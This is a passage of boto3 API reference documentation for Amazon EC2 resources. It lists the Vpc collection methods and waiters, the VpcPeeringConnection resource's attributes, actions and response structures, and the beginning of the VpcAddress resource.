'string', + ], + NextToken='string', + MaxResults=123 +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **RouteTableIds** (_list_) -- + + One or more route table IDs. + + Default: Describes all your route tables. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +Return: +- Return type: list(ec2.RouteTable) +- A list of RouteTable resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of RouteTable resources in the collection. + + +**Request Syntax** + +```py +route_table_iterator = vpc.route_tables.limit( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. +Return: +- Return type: list(ec2.RouteTable) +- A list of RouteTable resources + +page_size(kwargs_) + +Creates an iterable of all RouteTable resources in the collection, but limits the number of items returned by each service call by the specified amount. + + +**Request Syntax** + +```py +route_table_iterator = vpc.route_tables.page_size( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The number of items returned by each service call +Return: +- Return type: list(ec2.RouteTable) +- A list of RouteTable resources + +security_groups + +A collection of SecurityGroup resources.A SecurityGroup Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all SecurityGroup resources in the collection. + + +**Request Syntax** + +```py +security_group_iterator = vpc.security_groups.all() +Return: +- Return type: list(ec2.SecurityGroup) +- A list of SecurityGroup resources + +filter(kwargs_) + +Creates an iterable of all SecurityGroup resources in the collection filtered by kwargs passed to method.A SecurityGroup collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + + +**Request Syntax** + +```py +security_group_iterator = vpc.security_groups.filter( + GroupIds=[ + 'string', + ], + GroupNames=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) +``` + +Parameters + +* **GroupIds** (_list_) -- + + The IDs of the security groups. Required for security groups in a nondefault VPC. + + Default: Describes all your security groups. + + * _(string) --_ +* **GroupNames** (_list_) -- + + [EC2-Classic and default VPC only] The names of the security groups. You can specify either the security group name or the security group ID. For security groups in a nondefault VPC, use the group-name filter to describe security groups by name. + + Default: Describes all your security groups. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token to request the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another request with the returned NextToken value. This value can be between 5 and 1000. If this parameter is not specified, then all results are returned. +Return: +- Return type: list(ec2.SecurityGroup) +- A list of SecurityGroup resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of SecurityGroup resources in the collection. + + +**Request Syntax** + +```py +security_group_iterator = vpc.security_groups.limit( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. +Return: +- Return type: list(ec2.SecurityGroup) +- A list of SecurityGroup resources + +page_size(kwargs_) + +Creates an iterable of all SecurityGroup resources in the collection, but limits the number of items returned by each service call by the specified amount. + + +**Request Syntax** + +```py +security_group_iterator = vpc.security_groups.page_size( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The number of items returned by each service call +Return: +- Return type: list(ec2.SecurityGroup) +- A list of SecurityGroup resources + +subnets + +A collection of Subnet resources.A Subnet Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Subnet resources in the collection. + + +**Request Syntax** + +```py +subnet_iterator = vpc.subnets.all() +Return: +- Return type: list(ec2.Subnet) +- A list of Subnet resources + +filter(kwargs_) + +Creates an iterable of all Subnet resources in the collection filtered by kwargs passed to method.A Subnet collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + + +**Request Syntax** + +```py +subnet_iterator = vpc.subnets.filter( + SubnetIds=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) +``` + +Parameters + +* **SubnetIds** (_list_) -- + + One or more subnet IDs. + + Default: Describes all your subnets. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +Return: +- Return type: list(ec2.Subnet) +- A list of Subnet resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Subnet resources in the collection. + + +**Request Syntax** + +```py +subnet_iterator = vpc.subnets.limit( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. +Return: +- Return type: list(ec2.Subnet) +- A list of Subnet resources + +page_size(kwargs_) + +Creates an iterable of all Subnet resources in the collection, but limits the number of items returned by each service call by the specified amount. + + +**Request Syntax** + +```py +subnet_iterator = vpc.subnets.page_size( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The number of items returned by each service call +Return: +- Return type: list(ec2.Subnet) +- A list of Subnet resources + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_available(kwargs_) + +Waits until this Vpc is available. This method calls EC2.Waiter.vpc_available.wait() which polls. [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + + +**Request Syntax** + +```py +vpc.wait_until_available( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) +``` + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * cidr - The primary IPv4 CIDR block of the VPC. The CIDR block you specify must exactly match the VPC's CIDR block for information to be returned for the VPC. Must contain the slash followed by one or two digits (for example, /28 ). + * cidr-block-association.cidr-block - An IPv4 CIDR block associated with the VPC. + * cidr-block-association.association-id - The association ID for an IPv4 CIDR block associated with the VPC. + * cidr-block-association.state - The state of an IPv4 CIDR block associated with the VPC. + * dhcp-options-id - The ID of a set of DHCP options. + * ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.ipv6-pool - The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + * ipv6-cidr-block-association.association-id - The association ID for an IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the VPC. + * isDefault - Indicates whether the VPC is the default VPC. + * owner-id - The ID of the AWS account that owns the VPC. + * state - The state of the VPC (pending | available ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC. + + * _(dict) -- + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) -- + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) -- + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +- None + +wait_until_exists(kwargs_) + +Waits until this Vpc is exists. This method calls EC2.Waiter.vpc_exists.wait() which polls. [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") every 1 seconds until a successful state is reached. An error is returned after 5 failed checks. + + +**Request Syntax** + +```py +vpc.wait_until_exists( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) +``` + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * cidr - The primary IPv4 CIDR block of the VPC. The CIDR block you specify must exactly match the VPC's CIDR block for information to be returned for the VPC. Must contain the slash followed by one or two digits (for example, /28 ). + * cidr-block-association.cidr-block - An IPv4 CIDR block associated with the VPC. + * cidr-block-association.association-id - The association ID for an IPv4 CIDR block associated with the VPC. + * cidr-block-association.state - The state of an IPv4 CIDR block associated with the VPC. + * dhcp-options-id - The ID of a set of DHCP options. + * ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.ipv6-pool - The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + * ipv6-cidr-block-association.association-id - The association ID for an IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the VPC. + * isDefault - Indicates whether the VPC is the default VPC. + * owner-id - The ID of the AWS account that owns the VPC. + * state - The state of the VPC (pending | available ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC. + + * _(dict) -- + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) -- + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) -- + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +- None + +[VpcPeeringConnection](#id1257) +-------------------------------------------------------------------------------------- + +_class_ EC2.VpcPeeringConnection(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) VpcPeeringConnection: + +```py +import boto3 + +ec2 = boto3.resource('ec2') +vpc_peering_connection = ec2.VpcPeeringConnection('id') +``` + +Parameters + +**id** (_string_) -- The VpcPeeringConnection's id identifier. This **must** be set. + +available identifiers: + +- id](#EC2.VpcPeeringConnection.id "EC2.VpcPeeringConnection.id") + +available attributes: + +- accepter_vpc_info](#EC2.VpcPeeringConnection.accepter_vpc_info "EC2.VpcPeeringConnection.accepter_vpc_info") +- expiration_time](#EC2.VpcPeeringConnection.expiration_time "EC2.VpcPeeringConnection.expiration_time") +- requester_vpc_info](#EC2.VpcPeeringConnection.requester_vpc_info "EC2.VpcPeeringConnection.requester_vpc_info") +- status](#EC2.VpcPeeringConnection.status "EC2.VpcPeeringConnection.status") +- tags](#EC2.VpcPeeringConnection.tags "EC2.VpcPeeringConnection.tags") +- vpc_peering_connection_id](#EC2.VpcPeeringConnection.vpc_peering_connection_id "EC2.VpcPeeringConnection.vpc_peering_connection_id") + +available references: + +- accepter_vpc](#EC2.VpcPeeringConnection.accepter_vpc "EC2.VpcPeeringConnection.accepter_vpc") +- requester_vpc](#EC2.VpcPeeringConnection.requester_vpc "EC2.VpcPeeringConnection.requester_vpc") + +available actions: + +- accept()](#EC2.VpcPeeringConnection.accept "EC2.VpcPeeringConnection.accept") +- delete()](#EC2.VpcPeeringConnection.delete "EC2.VpcPeeringConnection.delete") +- get_available_subresources()](#EC2.VpcPeeringConnection.get_available_subresources "EC2.VpcPeeringConnection.get_available_subresources") +- load()](#EC2.VpcPeeringConnection.load "EC2.VpcPeeringConnection.load") +- reject()](#EC2.VpcPeeringConnection.reject "EC2.VpcPeeringConnection.reject") +- reload()](#EC2.VpcPeeringConnection.reload "EC2.VpcPeeringConnection.reload") + +available waiters: + +- wait_until_exists()](#EC2.VpcPeeringConnection.wait_until_exists "EC2.VpcPeeringConnection.wait_until_exists") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The VpcPeeringConnection's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.VpcPeeringConnection.load "EC2.VpcPeeringConnection.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +accepter_vpc_info + +* _(dict) --_ + + Information about the accepter VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) -- + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) -- + The IPv6 CIDR block for the VPC. + + * _(dict) -- + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) -- + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) -- + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) -- + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) -- + The IPv4 CIDR block. + + * **OwnerId** _(string) -- + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) -- + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) -- + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) -- + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) -- + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) -- + The ID of the VPC. + + * **Region** _(string) -- + The Region in which the VPC is located. + + +expiration_time + +* _(datetime) --_ + + The time that an unaccepted VPC peering connection will expire. + + +requester_vpc_info + +* _(dict) --_ + + Information about the requester VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) -- + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) -- + The IPv6 CIDR block for the VPC. + + * _(dict) -- + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) -- + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) -- + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) -- + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) -- + The IPv4 CIDR block. + + * **OwnerId** _(string) -- + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) -- + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) -- + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) -- + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) -- + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) -- + The ID of the VPC. + + * **Region** _(string) -- + The Region in which the VPC is located. + + +status + +* _(dict) --_ + + The status of the VPC peering connection. + + * **Code** _(string) -- + The status of the VPC peering connection. + + * **Message** _(string) -- + A message that provides more information about the status, if applicable. + + +tags + +* _(list) --_ + + Any tags assigned to the resource. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_peering_connection_id + +* _(string) --_ + + The ID of the VPC peering connection. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +accepter_vpc + +(Vpc) The related accepter_vpc if set, otherwise None. + +requester_vpc + +(Vpc) The related requester_vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +accept(kwargs_) + +Accept a VPC peering connection request. To accept a request, the VPC peering connection must be in the pending-acceptance state, and you must be the owner of the peer VPC. Use DescribeVpcPeeringConnections to view your outstanding VPC peering connection requests. + +For an inter-Region VPC peering connection request, you must accept the VPC peering connection in the Region of the accepter VPC. + + +**Request Syntax** + +```py +response = vpc_peering_connection.accept( + DryRun=True|False, + +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'VpcPeeringConnection': { + 'AccepterVpcInfo': { + 'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'ExpirationTime': datetime(2015, 1, 1), + 'RequesterVpcInfo': { + 'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'Status': { + 'Code': 'initiating-request'|'pending-acceptance'|'active'|'deleted'|'rejected'|'failed'|'expired'|'provisioning'|'deleting', + 'Message': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcPeeringConnectionId': 'string' + } +} +``` + + +**Response Structure** + +* _(dict) --_ + * **VpcPeeringConnection** _(dict) -- + Information about the VPC peering connection. + + * **AccepterVpcInfo** _(dict) -- + Information about the accepter VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) -- + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) -- + The IPv6 CIDR block for the VPC. + + * _(dict) -- + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) -- + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) -- + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) -- + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) -- + The IPv4 CIDR block. + + * **OwnerId** _(string) -- + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) -- + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) -- + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) -- + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) -- + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) -- + The ID of the VPC. + + * **Region** _(string) -- + The Region in which the VPC is located. + + * **ExpirationTime** _(datetime) -- + The time that an unaccepted VPC peering connection will expire. + + * **RequesterVpcInfo** _(dict) -- + Information about the requester VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) -- + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) -- + The IPv6 CIDR block for the VPC. + + * _(dict) -- + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) -- + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) -- + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) -- + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) -- + The IPv4 CIDR block. + + * **OwnerId** _(string) -- + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) -- + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) -- + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) -- + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) -- + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) -- + The ID of the VPC. + + * **Region** _(string) -- + The Region in which the VPC is located. + + * **Status** _(dict) -- + The status of the VPC peering connection. + + * **Code** _(string) -- + The status of the VPC peering connection. + + * **Message** _(string) -- + A message that provides more information about the status, if applicable. + + * **Tags** _(list) -- + Any tags assigned to the resource. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VpcPeeringConnectionId** _(string) -- + The ID of the VPC peering connection. + + +delete(kwargs_) + +Deletes a VPC peering connection. Either the owner of the requester VPC or the owner of the accepter VPC can delete the VPC peering connection if it's in the active state. The owner of the requester VPC can delete a VPC peering connection in the pending-acceptance state. You cannot delete a VPC peering connection that's in the failed state. + + +**Request Syntax** + +```py +response = vpc_peering_connection.delete( + DryRun=True|False, + +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'Return': True|False +} +``` + + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) -- + Returns true if the request succeeds; otherwise, it returns an error. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. +- A list containing the name of each sub-resource for this resource +Return: +- Return type: list of str + +load() + +Calls [EC2.Client.describe_vpc_peering_connections()](#EC2.Client.describe_vpc_peering_connections "EC2.Client.describe_vpc_peering_connections") to update the attributes of the VpcPeeringConnection resource. Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +vpc_peering_connection.load() +- None + +reject(kwargs_) + +Rejects a VPC peering connection request. The VPC peering connection must be in the pending-acceptance state. Use the DescribeVpcPeeringConnections request to view your outstanding VPC peering connection requests. To delete an active VPC peering connection, or to delete a VPC peering connection request that you initiated, use DeleteVpcPeeringConnection . + + +**Request Syntax** + +```py +response = vpc_peering_connection.reject( + DryRun=True|False, + +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'Return': True|False +} +``` + + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) -- + Returns true if the request succeeds; otherwise, it returns an error. + + +reload() + +Calls [EC2.Client.describe_vpc_peering_connections()](#EC2.Client.describe_vpc_peering_connections "EC2.Client.describe_vpc_peering_connections") to update the attributes of the VpcPeeringConnection resource. Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +vpc_peering_connection.reload() +- None + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_exists(kwargs_) + +Waits until this VpcPeeringConnection is exists. This method calls EC2.Waiter.vpc_peering_connection_exists.wait() which polls. [EC2.Client.describe_vpc_peering_connections()](#EC2.Client.describe_vpc_peering_connections "EC2.Client.describe_vpc_peering_connections") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + + +**Request Syntax** + +```py +vpc_peering_connection.wait_until_exists( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) +``` + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * accepter-vpc-info.cidr-block - The IPv4 CIDR block of the accepter VPC. + * accepter-vpc-info.owner-id - The AWS account ID of the owner of the accepter VPC. + * accepter-vpc-info.vpc-id - The ID of the accepter VPC. + * expiration-time - The expiration date and time for the VPC peering connection. + * requester-vpc-info.cidr-block - The IPv4 CIDR block of the requester's VPC. + * requester-vpc-info.owner-id - The AWS account ID of the owner of the requester VPC. + * requester-vpc-info.vpc-id - The ID of the requester VPC. + * status-code - The status of the VPC peering connection (pending-acceptance | failed | expired | provisioning | active | deleting | deleted | rejected ). + * status-message - A message that provides more information about the status of the VPC peering connection, if applicable. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-peering-connection-id - The ID of the VPC peering connection. + + * _(dict) -- + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) -- + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) -- + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +- None + +[VpcAddress](#id1258) +------------------------------------------------------------------ + +_class_ EC2.VpcAddress(_allocation_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) VpcAddress: + +```py +import boto3 + +ec2 = boto3.resource('ec2') +vpc_address = ec2.VpcAddress('allocation_id') +``` + +Parameters + +**allocation_id** (_string_) -- The VpcAddress's allocation_id identifier. This **must** be set. + +available identifiers: + +- allocation_id](#EC2.VpcAddress.allocation_id "EC2.VpcAddress.allocation_id") + +available attributes: + +- association_id](#EC2.VpcAddress.association_id "EC2.VpcAddress.association_id") +- carrier_ip](#EC2.VpcAddress.carrier_ip "EC2.VpcAddress.carrier_ip") +- customer_owned_ip](#EC2.VpcAddress.customer_owned_ip "EC2.VpcAddress.customer_owned_ip") +- customer_owned_ipv4_pool](#EC2.VpcAddress.customer_owned_ipv4_pool "EC2.VpcAddress.customer_owned_ipv4_pool") +- domain](#EC2.VpcAddress.domain "EC2.VpcAddress.domain") +- instance_id](#EC2.VpcAddress.instance_id "EC2.VpcAddress.instance_id") +- network_border_group](#EC2.VpcAddress.network_border_group "EC2.VpcAddress.network_border_group") +- network_interface_id](#EC2.VpcAddress.network_interface_id "EC2.VpcAddress.network_interface_id") +- network_interface_owner_id](#EC2.VpcAddress.network_interface_owner_id "EC2.VpcAddress.network_interface_owner_id") +- private_ip_address](#EC2.VpcAddress.private_ip_address "EC2.VpcAddress.private_ip_address") +- public_ip](#EC2.VpcAddress.public_ip "EC2.VpcAddress.public_ip") +- public_ipv4_pool](#EC2.VpcAddress.public_ipv4_pool "EC2.VpcAddress.public_ipv4_pool") +- tags](#EC2.VpcAddress.tags "EC2.VpcAddress.tags") + +available references: + +- association](#EC2.VpcAddress.association "EC2.VpcAddress.association") + +available actions: + +- associate()](#EC2.VpcAddress.associate "EC2.VpcAddress.associate") +- get_available_subresources()](#EC2.VpcAddress.get_available_subresources "EC2.VpcAddress.get_available_subresources") +- load()](#EC2.VpcAddress.load "EC2.VpcAddress.load") +- release()](#EC2.VpcAddress.release "EC2.VpcAddress.release") +- reload()](#EC2.VpcAddress.reload "EC2.VpcAddress.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +allocation_id + +_(string)_ The VpcAddress's allocation_id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.VpcAddress.load "EC2.VpcAddress.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +association_id + +* _(string) --_ + + The ID representing the association of the address with an instance in a VPC. + + +carrier_ip + +* _(string) --_ + + The 